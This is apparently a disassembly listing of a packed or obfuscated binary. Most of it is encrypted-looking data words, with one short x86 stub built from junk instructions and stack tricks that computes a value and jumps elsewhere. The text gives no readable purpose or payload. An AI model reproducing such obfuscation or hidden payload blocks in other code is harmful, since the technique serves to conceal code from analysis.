		dd 0A5088728h, 0C7686F30h, 0F2933C8Ah, 9DB172BFh, 0A3C122D8h
		dd 0B8DC45EAh, 58E218F1h, 0AF57D760h, 3CAF0922h, 2489C063h
		dd 0A97DA7Bh, 0F6852E87h, 5260C1AAh, 12DFD496h,	62CD5F99h
		dd 1282838Dh, 347486h, 0FFCF0000h, 0CF7135Eh, 11F2266Bh
		dd 78A5EC90h, 0BBC26348h, 0E5CB369Ah, 5196C28Bh, 0FF052278h
		dd 408A1752h, 0AF57D745h, 737F20B7h, 12DFD687h,	166h, 59FFB900h
		dd 73129310h, 238C3Ah, 0CA0D8CA8h, 413AC29Bh, 0FE6DCBDCh
		dd 0CAD1527Bh, 18A3E7AEh, 0BDDB0FB4h, 582B0F0Bh, 0DE5AF5AFh
		dd 3757F214h, 0CF09B600h, 0B9DB8B9Bh, 2ED058CDh, 9D47EF8Dh
		dd 0B169DD17h, 0F9261F08h, 0FE4C0528h, 327F3655h, 3BEE28h
		dd 0D0515AB6h, 0A7E3AAC9h, 931059FCh, 8C3A7312h, 3BE42466h
		dd 75DEB600h, 25C14023h, 0CB428BD3h, 0AD0BF86Ch, 0A9236D36h
		dd 0A40BD74Bh, 0B2BBD2D8h, 26FB805Ah, 0F2911E9Ah, 0D3CF6FBBh
		dd 3A147739h, 151h, 0A4FE3CCh, 0FF2474A5h, 0D80EB5E7h
		dd 723AEh, 3EB3C5B6h, 0D5F03C29h, 4CE7298Fh, 9B325C9Eh
		dd 4F90B020h, 8AA97AE9h, 0B9DC47C3h, 53F2B3F0h,	5D75B5D7h
		dd 0E44FB600h, 5AAEF83h, 33F63B14h, 7312199Ah, 3238C3Ah
		dd 60C8E14Eh, 5046329Ah, 64A11477h, 7A000000h, 0DF0BB6E7h
		dd 57D74DADh, 83B0132Fh, 0B64059C6h, 2605A755h,	0DD63B579h
		dd 0AADC54FAh, 2F58746Eh, 2902FB54h, 0D4755E84h, 0D1C91F99h
		dd 0C72F5873h, 77D8C768h, 98B51ECCh, 81C86CDDh,	79A7CD17h
		dd 5873CBCFh, 2D9EB92Fh, 0CAE3400Dh, 7480986Eh,	6142AF58h
		dd 711D8EC7h, 0C5BEEF34h, 97FE41h, 0BAD90000h, 25733A59h
		dd 5D893262h, 0A542Bh, 98052EB6h, 84A56407h, 0E94AD0C9h
		dd 409E034Ah, 9A8E01Ah,	0B19AB600h, 0AA4E167h, 9B10B600h
		dd 0CE6D561Ah, 0EF8E1187h, 75A760A6h, 11F218CEh, 0D89DB17Ch
		dd 0C469425Bh, 1D8345D3h, 0C3BCABA7h, 0AAF7B2E0h, 3E192771h
		dd 0C2072788h, 0A4F4EDA0h, 0FE3F5EC7h, 0FB38115Ch, 0D845082Ah
		dd 0A6C0F802h, 0A982BCABh, 0D05D1438h, 0B544ED5Ah, 0E100A10Ah
		dd 95DC80B3h, 52FC0EBCh, 30C35742h, 3F658307h, 57428D8Dh
		dd 5CDC77C3h, 0EB5E757h, 7300AED8h, 69C2B603h, 71385BC4h
		dd 2AEB8A35h, 0C56A430Ah, 0DE97B619h, 6CE48C5Ah, 9CBF0AE5h
		dd 0B6D748D5h, 8684B6FBh, 84ACF43Ch, 0C66FC44Bh, 0AE77E437h
		dd 79CD84A7h, 0B1FEB7D6h, 0E30742F0h, 8A175200h, 0A5A40791h
		dd 0FDA0A708h, 278876B4h, 41EE4A07h, 2464A622h,	1E0AE569h
		dd 0BD75C35h, 902D79C1h, 9D28A2EFh, 13FC3C5Eh, 3, 0FFCBB036h
		dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh
		dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	7A7F0A58h
		pop	ebp
		shr	ebp, 1
		and	ebp, 7CF57112h
		and	ebp, 3AF40BBh
		add	ebp, 6869BD0h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	0CDAh
		mov	[esp], ebx
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 567h
		dd 0ABA097B8h, 0FFC50306h, 8F653FE0h, 7891F5Eh,	0ABA99F10h
		dd 0B3A8C6Bh, 767C2101h, 2A3EC227h, 8191AE3Fh, 128A0918h
		dd 304FFB4Fh, 2F98D246h, 64452A74h, 55BBCC73h, 27F8E555h
		dd 6936FE2Bh, 0E5D8AB04h, 29144E49h, 66CEAD1Bh,	88D3F307h
		dd 70310376h, 0A40E6C28h, 5EAB567Dh, 54A6DD26h,	820DBD09h
		dd 0A9164612h, 51216A65h, 8A685F55h, 75E978h, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	31F9B5FFh, 858D06A8h, 6AB6971h
		dd 8589D0FFh, 6A8268Dh,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 268D95FFh, 32E906A8h, 0C6000000h, 0A815D585h
		dd 0DF685606h, 0FFA9C530h, 0A80F95B5h, 71858D06h, 0FF06AB69h
		dd 58589D0h, 8D06A814h,	0A8075585h, 206A5006h, 0FF56056Ah
		dd 0A8140595h, 0C1C36106h, 39EB06E0h, 0C10000h,	0C102CCh
		dd 0C102E4h, 0
		dd 45CDADD0h, 74D4A115h, 20C5A940h, 4DCEADE3h, 4CC4EA27h
		dd 74EEC449h, 20EC88D6h, 50EFB007h, 48F4AAC1h, 44C1A120h
		dd 20CAA429h, 20A32CC1h, 7D80C44Ah, 4C2999E6h, 6421C0B6h
		dd 20B4C06Dh, 75E5C4A4h, 97AFC891h, 0D51D4FE3h,	0ABA66C81h
		dd 889139C7h, 0AB604F23h, 88AA5107h, 0F91D474Fh, 20A66CBAh
		dd 9D23CD27h, 2608E9C0h, 70B9B094h, 98604F19h, 20A0C09Ch
		dd 2715411Bh, 0BD2DC2E1h, 260A6508h, 78FB17ADh,	0D4979AAh
		dd 54A0C23Ch, 98F3945Dh, 20A0C09Ch, 2715411Bh, 0BD2DC2E1h
		dd 260A5A3Fh, 78FB17ADh, 70A0AED5h, 20A0C77Ch, 0E3F8E44Ah
		dd 4E44D7Dh, 4E44596h, 20A0D24Dh, 0E3F084A4h, 0A993455Bh
		dd 88B749ACh, 4A604F92h, 2348964Ah, 0A0C425h, 0A9FA07C8h
		dd 0A1A4E01Dh, 3CA4E0E0h, 62A0C452h, 5D7C077Bh,	0E9ED8F02h
		dd 408E1BC8h, 71354F75h, 79A66CA6h, 0A188C9F1h,	0A566A5E7h
		dd 2608D187h, 72A0AE7Fh, 20A0C77Ch, 0E3FAE44Ah,	4F44D7Fh
		dd 4E44596h, 20A0D04Dh,	0E3F286A4h, 0ADAF9569h,	20A0C429h
		dd 3C3AACCDh, 0ABAF4E35h, 20A0C42Bh, 72F096C2h,	78FAF546h
		dd 41C0F5ABh, 24219C08h, 93B7C0Dh, 71A0AE86h, 20A0C7A2h
		dd 0E3F9E425h, 4EC4DCBh, 4E4454Dh, 20A0D0A0h, 0E3F18552h
		dd 0B5153B70h, 4AA66C9Bh, 2348964Ah, 0A0C425h, 0A9FA07C8h
		dd 0A1A4E01Dh, 38A4E0E0h, 62A0C452h, 5C8B077Bh,	0C8B094E3h
		dd 20A0C44Ch, 796A6B46h, 0AD2925ECh, 2608DD94h,	512549FEh
		dd 4AA66F3Bh, 23489529h, 0A0C494h, 0A9F90713h, 0A1A4E069h
		dd 3BA4E0D6h, 61A0C449h, 0FEDA07F5h, 62E0ACF4h,	958B2320h
		dd 2608EE4Dh, 20CA14B5h, 20A32C72h, 7F80C492h, 5C299B8Ah
		dd 6421C080h, 20B8C076h, 77E7C429h, 32F8EA57h, 0A9F650A9h
		dd 889499A0h, 0ADA19A94h, 2608CAE4h, 20CAC0CEh,	20A32C00h
		dd 7A80C429h, 74299E57h, 6421C06Eh, 20B4C001h, 72E2C492h
		dd 99C67C8Ah, 371FAC1Bh, 0C8FD4FCBh, 20A0C42Dh,	20A0D494h
		dd 0ABF037C1h, 4E44FEAh, 0A81AA296h, 46A04FA7h,	0A9B5821Dh
		dd 9AA4E016h, 6ECB1EE9h, 77A0AECCh, 20A0C7A2h, 0E3FFE425h
		dd 4DC4DCDh, 4E4454Dh, 20A0D0A0h, 0E3F78352h, 20A42C54h
		dd 224CC494h, 0C8F0C44Ah, 20A0C434h, 0A4ECC93Dh, 0CFA18B4Ah
		dd 0B489C6D5h, 9493C926h, 70FE9DA3h, 0C9FA96F4h, 20A0C446h
		dd 0C9512653h, 0FC4A1831h, 2D70A5EAh, 4E44FC5h,	20AF2C56h
		dd 0D21FC429h, 876E802Eh, 64F8241Ah, 32D03951h,	40F29419h
		dd 9591CB28h, 7AF89E15h, 0DB2BC4D9h, 248480A0h,	78584FF2h
		dd 0C8F7C420h, 20A0C426h, 7F639BB2h, 2484B8C0h,	24848025h
		dd 20A0C44Eh, 0B763936Eh, 2A7AE00Eh, 0A50AB89Ah, 20CAC44Fh
		dd 20A32CC3h, 7980C449h, 6C299D67h, 6421C076h, 20BDC00Dh
		dd 71E1C494h, 0D10D3089h, 18926F87h, 0ABB79769h, 0A9703BB2h
		dd 88A60D11h, 3B254D54h, 4AA66F8Bh, 23489194h, 0A0C44Ah
		dd 0A9FD0778h, 0A1A4E0FEh, 35A4E00Dh, 65A0C4A4h, 48A80707h
		dd 10979A2h, 9AC6C23Ch,	0D82B6A5Ch, 20A20820h, 3F254D92h
		dd 0A3A66FEBh, 0A529DC64h, 260B6671h, 0CC19041Ah, 0D3A0C496h
		dd 8D154FE0h, 70A66C2Bh, 3EC1791Bh, 0AAFAC2E1h,	0F525026Eh
		dd 63A66C47h, 0C8F7C443h, 20A0C497h, 7F639B6Ah,	2484B8ACh
		dd 24848013h, 20A0C45Dh, 0BE6393E3h, 3A6A15D3h,	0A7AFDFA1h
		dd 20A0C492h, 2B294979h, 0FFC8C28Dh, 0A117E934h, 0ED21E07Dh
		dd 701EEFEEh, 0DFA79637h, 88AF519Ch, 72A0AE92h,	20A0C7A2h
		dd 0E3FAE425h, 4F44DC8h, 4E4454Dh, 20A0D0A0h, 0E3F28652h
		dd 512DED36h, 0ADA66C91h, 8BC9B5CFh, 76A0AE23h,	20A0C77Ah
		dd 0E3FEE449h, 4D44DFAh, 4E44556h, 20A0D82Dh, 0E3F68294h
		dd 134CC073h, 4FCDD120h, 99354F4Eh, 0DFA66C53h,	0C515ED74h
		dd 0A9A66C54h, 88B965ACh, 73A0AE92h, 20A0C7A2h,	0E3FBE425h
		dd 4FC4DC9h, 4E4454Dh, 20A0D0A0h, 0E3F38752h, 0A52DC5A9h
		dd 0ADA66CBBh, 88A881CFh, 71A0AE23h, 20A0C77Ah,	0E3F9E449h
		dd 4EC4DFDh, 4E44556h, 20A0DF2Dh, 0E3F18594h, 0A279D02Ch
		dd 5032F26Ah, 792C72C3h, 14595960h, 0A529C20Ch,	2608E113h
		dd 0C8F5C443h, 20A0C497h, 7D63996Ah, 2484A8ACh,	24848013h
		dd 20A0C451h, 0B36391E1h, 0A700D917h, 20AA2C7Ah, 9B7FC494h
		dd 4F126E79h, 76D3E44Eh, 20A0D57Bh, 0CD0B349h, 485E94E1h
		dd 0FF32FB5Ah, 992EC297h, 7EF99133h, 3575418Ch,	4AF3C28Dh
		dd 23489392h, 0A0C449h,	0A9FF07FBh, 0A1A4E02Eh,	37A4E06Dh
		dd 67A0C494h, 393B071Dh, 0F02AB451h, 20A0C07Ah,	91E81C49h
		dd 29499458h, 3EA0C452h, 64050EDAh, 89F5E277h, 248480C1h
		dd 202B0BAEh, 2484801Bh, 20A04546h, 4AF8C4A4h, 23489552h
		dd 0A0C429h, 0A9F907CDh, 0A1A4E006h, 35A4E061h,	61A0C492h
		dd 40DB0718h, 71F43224h, 20A6405Dh, 0BD91C429h,	2608E505h
		dd 372CCB15h, 40A0C425h, 26B1411Bh, 2A49C2E1h, 0D6A0C4A4h
		dd 902DCC44h, 0E0E6C704h, 955FA556h, 2608CBDFh,	2CCD79ACh
		dd 952BC23Ah, 2608E55Ch, 49D14129h, 20CAC2F9h, 20A32C7Ah
		dd 7B80C494h, 7C299F89h, 6421C001h, 20B4C0B6h, 73E3C449h
		dd 0AEAF2D67h, 20A0C450h, 958B0CA2h, 2608F0D1h,	20CA14B5h
		dd 20A32C73h, 7E80C492h, 54299A8Ah, 6421C080h, 20B5C076h
		dd 76E6C429h, 0C9551257h, 20A0C45Ah, 768D118Eh,	44D5AB4Eh
		dd 46C6F90Eh, 63A58DBDh, 3B9141DBh, 0AD2BC281h,	2608EE81h
		dd 3575418Ch, 4AF3C28Dh, 23489392h, 0A0C449h, 0A9FF07FBh
		dd 0A1A4E02Eh, 38A4E06Dh, 67A0C494h, 0F60B071Dh, 0D9D3A004h
		dd 20A0C07Ah, 38647749h, 0FF1FA27Ch, 0DE2B94BDh, 248480A2h
		dd 20BF4D9Bh, 72F0C44Ah, 0F88E6C9Ah, 0C991CBDBh, 20A0C446h
		dd 0CD183681h, 2424AB57h, 0D1D1E60h, 7A0FBD7Ah,	40A04F12h
		dd 6F1BA245h, 41534FF5h, 19997B2Fh, 4E44DC5h, 20CA9C56h
		dd 20A32C79h, 7880C494h, 64299C89h, 6421C001h, 20B7C0B6h
		dd 70E0C449h, 88E17367h, 20AE2C9Eh, 0BCA9C429h,	4A512175h
		dd 3B08C28Ah, 8E541A3Dh, 2622CBCDh, 40A0C449h, 41C09CF3h
		dd 0B5153B33h, 0DCA66C26h, 49D14119h, 20CAC2E1h, 20A32C76h
		dd 7B80C492h, 7C299F8Ah, 6421C080h, 20B9C076h, 73E3C429h
		dd 16011257h, 0DF5A4306h, 20AB2DF5h, 51B2C492h,	318B9986h
		dd 4A339D8Dh, 0D9254D68h, 4AA66C3Ch, 23489494h,	0A0C44Ah
		dd 0A9F8077Dh, 0A1A4E0D6h, 39A4E00Dh, 60A0C4A4h, 0E7C80702h
		dd 0C0C98A86h, 2222CBF4h, 92A0C44Ah, 852DED1Ch,	41A66CB8h
		dd 3575418Fh, 0AAE7C20Ch, 2121CB82h, 0D8A0C429h, 4490BAFCh
		dd 2719A2C9h, 494453Dh,	141A2945h, 20A04046h, 955FC4A4h
		dd 2608CBC7h, 0A52D3DA2h, 260BADE5h, 0C8F6C420h, 20A0C426h
		dd 7E639AB2h, 2484B0C0h, 24848025h, 20A0C449h, 4663926Fh
		dd 0ADFF5178h, 0A9D5FA67h, 88BCE1B8h, 4A703B94h, 23489149h
		dd 0A0C4A4h, 0A9FD070Fh, 0A1A4E045h, 39A4E0D0h,	65A0C44Ah
		dd 900D0770h, 0E2E02C1Fh, 0C96A4F2Fh, 20A0C4A8h, 0FD4CAAE6h
		dd 6E5B6122h, 414C1669h, 0CC141C3h, 20CAC28Dh, 20A32CC7h
		dd 7D80C449h, 4C299967h, 6421C076h, 20B5C00Dh, 75E5C494h
		dd 2B104089h, 88A0B5B0h, 0F5250294h, 67A66C5Ch,	0C8F2C4CEh
		dd 20A0C451h, 7A639E09h, 2484901Dh, 248480CBh, 20A0C438h
		dd 466396D0h, 303F174Dh
		dd 0A6E31A85h, 9C1AA2FDh, 20A42C15h, 30DAC494h,	72F04596h
		dd 20A0CCCCh, 99A80692h, 3158A100h, 7091CB9Ch, 3F1FA200h
		dd 7A91CB2Ch, 70F89ECCh, 0FDE5F2F4h, 4E44F19h, 171D7B96h
		dd 202BE0BAh, 2484802Dh, 53C37B34h, 75A0AE71h, 20A0C77Ch
		dd 0E3FDE44Ah, 4CC4D78h, 4E44596h, 20A0D04Dh, 0E3F581A4h
		dd 5354FF1h, 40A66C35h,	30B9491Fh, 0AAAFC2E2h, 20A0C425h
		dd 0EF2BA2F3h, 2F3571B6h, 0BD89C20Ch, 2608D06Bh, 49D141A4h
		dd 20CAC23Fh, 20A32C1Dh, 7F80C425h, 5C299B51h, 6421C06Dh
		dd 20BCC080h, 77E7C452h, 5E1983EAh, 190575D5h, 0BD292699h
		dd 2608DAD4h, 0DF53739Dh, 71A0AE99h, 20A0C74Ch,	0E3F9E452h
		dd 4EC4D70h, 4E44590h, 20A0D14Eh, 0E3F18525h, 0A4AF7E5Eh
		dd 20A0C44Ch, 2762F1Dh,	6D254D6Ah, 0A9A66C05h, 88A10529h
		dd 0F525024Ch, 67A66C30h, 0C8767B9Dh, 20A0C44Dh, 8A6DF8F9h
		dd 20B32D02h, 9E01C429h, 95254444h, 0A0E460A1h,	218CE8CCh
		dd 6614DBBCh, 4E44F7Ah,	20A62DA0h, 85DCC452h, 0B066466Fh
		dd 0AFAFC41Fh, 20A0C44Eh, 97C87A43h, 2484801Bh,	813DCD11h
		dd 9FA66CB1h, 5F3D86B0h, 2F3571D6h, 0A1F1C23Ch,	9EA8F38Ch
		dd 0A52D9A07h, 260BADE3h, 0C8F3C423h, 20A0C4A7h, 7B639F72h
		dd 248498A0h, 24848015h, 20A0C457h, 6B639766h, 0B47C11EAh
		dd 18F2BB50h, 29154D3Fh, 0DFA66C60h, 71A0AEF9h,	20A0C77Ch
		dd 0E3F9E44Ah, 4EC4D7Ch, 4E44596h, 20A0D84Dh, 0E3F185A4h
		dd 62907A53h, 511F1BB0h, 75254DE6h, 4AA66C6Ch, 23489625h
		dd 0A0C492h, 0A9FA0713h, 0A1A4E0F0h, 39A4E016h,	62A0C429h
		dd 0BF1107C6h, 0BF75C964h, 2FC541ACh, 0B52BC23Ah, 2608F650h
		dd 9529145Bh, 2608F6DBh, 5449454Fh, 5D254D82h, 4AA66C61h
		dd 23489625h, 0A0C492h,	0A9FA0713h, 0A1A4E0F0h,	3CA4E016h
		dd 62A0C429h, 163207C6h, 409F62B5h, 0DCE652CBh,	4A7848F4h
		dd 23489349h, 0A0C4A4h,	0A9FF070Dh, 0A1A4E055h,	3AA4E0D0h
		dd 67A0C44Ah, 33B40772h, 2150A4F3h, 4744E43h, 0AB55A4A0h
		dd 88AB91DFh, 4011A52Fh, 0A4AF049Eh, 20A0C7D8h,	0C8F6C44Fh
		dd 20A0C491h, 7E639A69h, 2484B02Dh, 248480D3h, 20A0C43Fh
		dd 396392D2h, 0C72131EDh, 7F8FC270h, 0A5669EC2h, 2608D19Ch
		dd 71A0AEEBh, 20A0C7BAh, 0E3F9E429h, 4EC4DCDh, 4E4454Eh
		dd 20A0DD21h, 0E3F18592h, 7084CCAEh, 0BD29C363h, 2608CAE7h
		dd 2034ACD1h, 72F008FEh, 2849961Ah, 0A0A0C425h,	63148EECh
		dd 2F7C52DDh, 2D1EA295h, 2FF89E42h, 2D49A418h, 37A0C494h
		dd 69F1F449h, 2729C4E8h, 69D77F71h, 7AC10CC2h, 49445FCh
		dd 534AA802h, 25F949A2h, 955FC23Ch, 2608CBDFh, 0C8F7C44Fh
		dd 20A0C491h, 7F639B69h, 2484B82Dh, 248480D3h, 20A0C43Dh
		dd 0DF6393D3h, 5D3DED2Ah, 40A66C24h, 20A0499Dh,	0CF21C449h
		dd 52C572ECh, 0A52DA533h, 260BAD58h, 3A2D711Fh,	0F05FC2E2h
		dd 0C8F7C44Fh, 20A0C491h, 7F639B69h, 2484B82Dh,	248480D3h
		dd 20A0C434h, 616393D3h, 7B7B9F80h, 22CB25CFh, 9D25C5F9h
		dd 0A3A66C5Fh, 5C1FE064h, 0A994F94Ch, 88A785ACh, 5125C592h
		dd 0ABA66C40h, 888BB9A0h, 0A2AF9294h, 20A0C44Fh, 264D592Dh
		dd 0ABFEC2FAh, 888691B4h, 76A0AE92h, 20A0C7A2h,	0E3FEE425h
		dd 4D44DCCh, 4E4454Dh, 20A0D0A0h, 0E3F68252h, 0EB1FCBB9h
		dd 70A0AED7h, 20A0C7A2h, 0E3F8E425h, 4E44DCAh, 4E4454Dh
		dd 20A0D0A0h, 0E3F08452h, 0AB514F85h, 4749458Fh, 0ABBF8D0Eh
		dd 71A0AE3Eh, 20A0C77Ah, 0E3F9E449h, 4EC4DFDh, 4E44556h
		dd 20A0D92Dh, 0E3F18594h, 481D23Bh, 0C617CEBEh,	3B2BF55Ch
		dd 0CCEB8F6h, 4A78F78Eh, 23489352h, 0A0C429h, 0A9FF07CBh
		dd 0A1A4E036h, 3CA4E061h, 67A0C492h, 524071Eh, 0D29FEC88h
		dd 0AA44D268h, 69254DE1h, 0A9A66C80h, 88BD99D7h, 0E221A223h
		dd 0A5666102h, 2608D19Ch, 73A0AEE3h, 20A0C7BAh,	0E3FBE429h
		dd 4FC4DCFh, 4E4454Eh, 20A0D221h, 0E3F38792h, 46247DA4h
		dd 0D1B3525h, 18C8F4E3h, 70092C8Fh, 0F81AA2C6h,	7091CBD8h
		dd 74856B9Ah, 78FA9DD0h, 0B184F0C8h, 4ABEF2DFh,	23489552h
		dd 0A0C429h, 0A9F907CDh, 0A1A4E006h, 3CA4E061h,	61A0C492h
		dd 0FA5F0718h, 0BF1A6BB7h, 0AB7D7FE3h, 8886CD9Ch, 2135ED92h
		dd 0DFA66C62h, 88AF5190h, 0C52D4D94h, 2FA66C6Dh, 20A0C929h
		dd 20A82D52h, 65A5C429h, 0E138960Bh, 0A52DF11Eh, 260BAD54h
		dd 0C8F6C4F8h, 20A0C44Ah, 7E639A84h, 2484B0DBh,	248480A8h
		dd 20A0C48Fh, 1A63920Ch, 32E40A46h, 7232F5A5h, 0A114148h
		dd 46FAC20Ch, 0DF53D2EBh, 75A0AEF9h, 20A0C77Ch,	0E3FDE44Ah
		dd 4CC4D78h, 4E44596h, 20A0D14Dh, 0E3F581A4h, 0C7218FBCh
		dd 2EF272B1h, 0CC1411Dh, 20CAC2E2h, 20A32C72h, 7F80C492h
		dd 5C299B8Ah, 6421C080h, 20B8C076h, 77E7C429h, 3B825257h
		dd 0A5AF1620h, 20A0C420h, 0B66F45F4h, 20CA84F1h, 20A32CF6h
		dd 7A80C452h, 74299EEAh, 6421C0B0h, 20BDC06Eh, 72E2C425h
		dd 93353C51h, 0AFF385Bh, 0AB3A29F3h, 75A0AE52h,	20A0C7C1h
		dd 0E3FDE494h, 4CC4D17h, 4E44521h, 20A0DE96h, 0E3F58149h
		dd 130FA681h, 0ABD7F98Ch, 0E5254D29h, 4AA66C92h, 2348944Ah
		dd 0A0C425h, 0A9F807CAh, 0A1A4E00Dh, 34A4E0E0h,	60A0C452h
		dd 9410779h, 88AA1919h,	20742D4Ch, 0C9F7C425h, 20A0C49Bh
		dd 2A2471FDh, 0C8B0747Eh, 0A52D9DBFh, 260B6668h, 0DB6E45F2h
		dd 0FB165499h, 46F29475h, 11AF0E19h, 0D22BA21Eh, 0B0F89EFDh
		dd 3E4D51ADh, 952BC281h, 2608F569h, 82E759C7h, 7058C28Eh
		dd 20A0D47Ah, 0E15CF849h, 2003E974h, 0A91C19DDh, 0CDC96D2h
		dd 0F62BA2A5h, 4BC4D13h, 20AC462Ah, 0A5AFC492h,	20A0C44Fh
		dd 20A042ABh, 2FF0C452h, 20A0C6A3h, 0A96F4F94h,	0DF59E04Eh
		dd 88A9CDB0h, 77A0AE94h, 20A0C7A1h, 0E3FFE4A4h,	4DC4D0Dh
		dd 4E4452Dh, 20A0D090h,	0E3F7834Ah, 20B22D9Fh, 0E754C492h
		dd 8CC3E4B2h, 0DD5563BDh, 6FC241D5h, 0E0CCF1BFh, 27E1411Dh
		dd 2D49C2E2h, 47A0C425h, 0E75E2DF0h, 0A0013CDCh, 851A99C8h
		dd 253179DBh, 0A566C281h, 2608D141h, 0A1154F19h, 0C8A66C09h
		dd 20A0C496h, 8A274036h, 20A0D04Ch, 7CD10552h, 88BCA8Fh
		dd 3C482D20h, 0D29722Dh, 0E8124927h, 0ABF09A61h, 4E44FB3h
		dd 0D07D7DA0h, 202BAE8Fh, 2CC67E4Fh, 2484801Dh,	48B87B2Ch
		dd 76A0AE7Dh, 20A0C77Ah, 0E3FEE449h, 4D44DFAh, 4E44556h
		dd 20A0D12Dh, 0E3F68294h, 5D11C21Dh, 2F3571DAh,	20CAC23Ah
		dd 20A32C1Eh, 7F80C4A4h, 5C299B91h, 6421C00Dh, 20B8C0B0h
		dd 77E7C44Ah, 0F7C09AE6h, 0AD29A723h, 2608EB48h, 0A52D3E2Fh
		dd 260BAD23h, 0C8F1C443h, 20A0C497h, 79639D6Ah,	248488ACh
		dd 24848013h, 20A0C454h, 686395E5h, 709038AFh, 2C9910DAh
		dd 704B4EFDh, 20A0C8A3h, 87D73D25h, 2FDE021h, 3DE74099h
		dd 0F05F9A9Eh, 0C8F6C438h, 20A0C42Ah, 7E639AB4h, 2484B0C3h
		dd 248480A4h, 20A0C487h, 6563920Fh, 3D254DA1h, 29A66C4Ch
		dd 88903994h, 0F5250292h, 67A66C5Fh, 0C8F7C44Fh, 20A0C491h
		dd 7F639B69h, 2484B82Dh, 248480D3h, 20A0C434h, 9D6393D3h
		dd 79DFA2EEh, 0CCB100BCh, 0C807763Ch, 20A0C44Dh, 81D2D134h
		dd 20A0C2BAh, 0E1568229h, 709CD19Eh, 1E1AA218h,	7A91CB43h
		dd 91F09DCAh, 4E44F80h
		dd 0C9F294A0h, 20A0C440h, 0BF51A4C1h, 0CD8061FAh, 0BF867937h
		dd 0DA4EF828h, 11AF7E32h, 202B9C13h, 0D59A7AC2h, 248480DBh
		dd 786A4F4Fh, 680D7DF2h, 2F3571B5h, 0ADA1C28Dh,	2608D13Fh
		dd 49D141C4h, 9591C20Fh, 2608DDC3h, 0A52914D6h,	2608E50Dh
		dd 0C8F6C420h, 20A0C426h, 7E639AB2h, 2484B0C0h,	24848025h
		dd 20A0C44Bh, 0E463926Fh, 3F7FFD0Dh, 46504F35h,	6F8D05A4h
		dd 35754154h, 4AF3C2E1h, 234891A4h, 0A0C452h, 0A9FD0774h
		dd 0A1A4E0F8h, 39A4E00Eh, 65A0C425h, 0C06D07C7h, 14C73E76h
		dd 0EA1455CCh, 3927CB0Dh, 0C8A0C429h, 20A0C49Dh, 4B2EAC9Eh
		dd 0ED6C3674h, 20A52D77h, 9815C449h, 7F454FC2h,	0DF84C0D3h
		dd 0C999AA83h, 20A0C485h, 7A7A90AAh, 21E5FB14h,	633B0F97h
		dd 349DB924h, 0B5153B4Ah, 4AA66C5Dh, 23489529h,	0A0C494h
		dd 0A9F90713h, 0A1A4E069h, 37A4E0D6h, 61A0C449h, 11AF07F5h
		dd 4D1FA208h, 11F46BBCh, 88887D11h, 5125494Ch, 21A66F4Ch
		dd 88BBA917h, 4A703B4Fh, 234895A4h, 0A0C452h, 0A9F90770h
		dd 0A1A4E0D8h, 3AA4E00Eh, 61A0C425h, 0C1A07C3h,	5D94199Eh
		dd 0D317CBDAh, 7D41DBh,	0BD29C281h, 2608D161h, 3575418Ch
		dd 4AF7C28Dh, 23489192h, 0A0C449h, 0A9FD07F9h, 0A1A4E03Eh
		dd 3BA4E06Dh, 65A0C494h, 0E317071Fh, 9025C9FBh,	0E0C8AE87h
		dd 0A1895AB6h, 72E6E0A0h, 3349A237h, 0FEA0C429h, 0EDA68B46h
		dd 67B091CDh, 1A43BC3Ch, 8DF97FAFh, 955F86CDh, 2608CB31h
		dd 0C8F1C438h, 20A0C42Ah, 79639DB4h, 248488C3h,	248480A4h
		dd 20A0C488h, 0C6639508h, 81993707h, 0A52D1B25h, 260BAD58h
		dd 76D71A7h, 0F05FC2E2h, 0C8F0C44Fh, 20A0C491h,	78639C69h
		dd 2484802Dh, 248480D3h, 20A0C432h, 4F6394D4h, 0C448C594h
		dd 0A9F02B5Fh, 888AB917h, 97AFA44Fh, 0CD3DE76Bh, 41A66C59h
		dd 357541EFh, 11E3C23Ch, 889089D7h, 0BD23AC23h,	242195B1h
		dd 4C72616Dh, 73A0AECFh, 20A0C7BAh, 0E3FBE429h,	4FC4DCFh
		dd 4E4454Eh, 20A0D321h,	0E3F38792h, 0B8686579h,	0CE15995h
		dd 0ABC6C2FAh, 0B5153BF9h, 4AA66C9Bh, 2348944Ah, 0A0C425h
		dd 0A9F807CAh, 0A1A4E00Dh, 38A4E0E0h, 60A0C452h, 0A1250779h
		dd 0ABB47703h, 88A9F9C7h, 51254923h, 4AA66FFBh,	23489749h
		dd 0A0C4A4h, 0A9FB0709h, 0A1A4E075h, 34A4E0D0h,	63A0C44Ah
		dd 0DF890776h, 0EB2BA242h, 222141C0h, 20CAC20Ch, 20A32C03h
		dd 7980C429h, 6C299D57h, 6421C06Eh, 20B4C001h, 71E1C492h
		dd 7EF0DB8Ah, 0AD6E7BABh, 8B02F3D7h, 0D9354F2Fh, 70A66C98h
		dd 70F2961Ah, 7A91CB77h, 11AF9ACAh, 2FF29418h, 7AF89E95h
		dd 24299C08h, 72A0AE0Dh, 20A0C77Ch, 0E3FAE44Ah,	4F44D7Fh
		dd 4E44596h, 20A0DC4Dh,	0E3F286A4h, 0C84F86E4h,	75154FBBh
		dd 0DFA66C83h, 88BE29DFh, 71A0AE23h, 20A0C77Ah,	0E3F9E449h
		dd 4EC4DFDh, 4E44556h, 20A0DF2Dh, 0E3F18594h, 45FE4D73h
		dd 0E0BE0752h, 2D4D4919h, 0F82BC2E1h, 0A52D302Eh, 260B6679h
		dd 3E5579A2h, 0A9F0C23Ch, 20CAE04Eh, 20A32C75h,	7880C492h
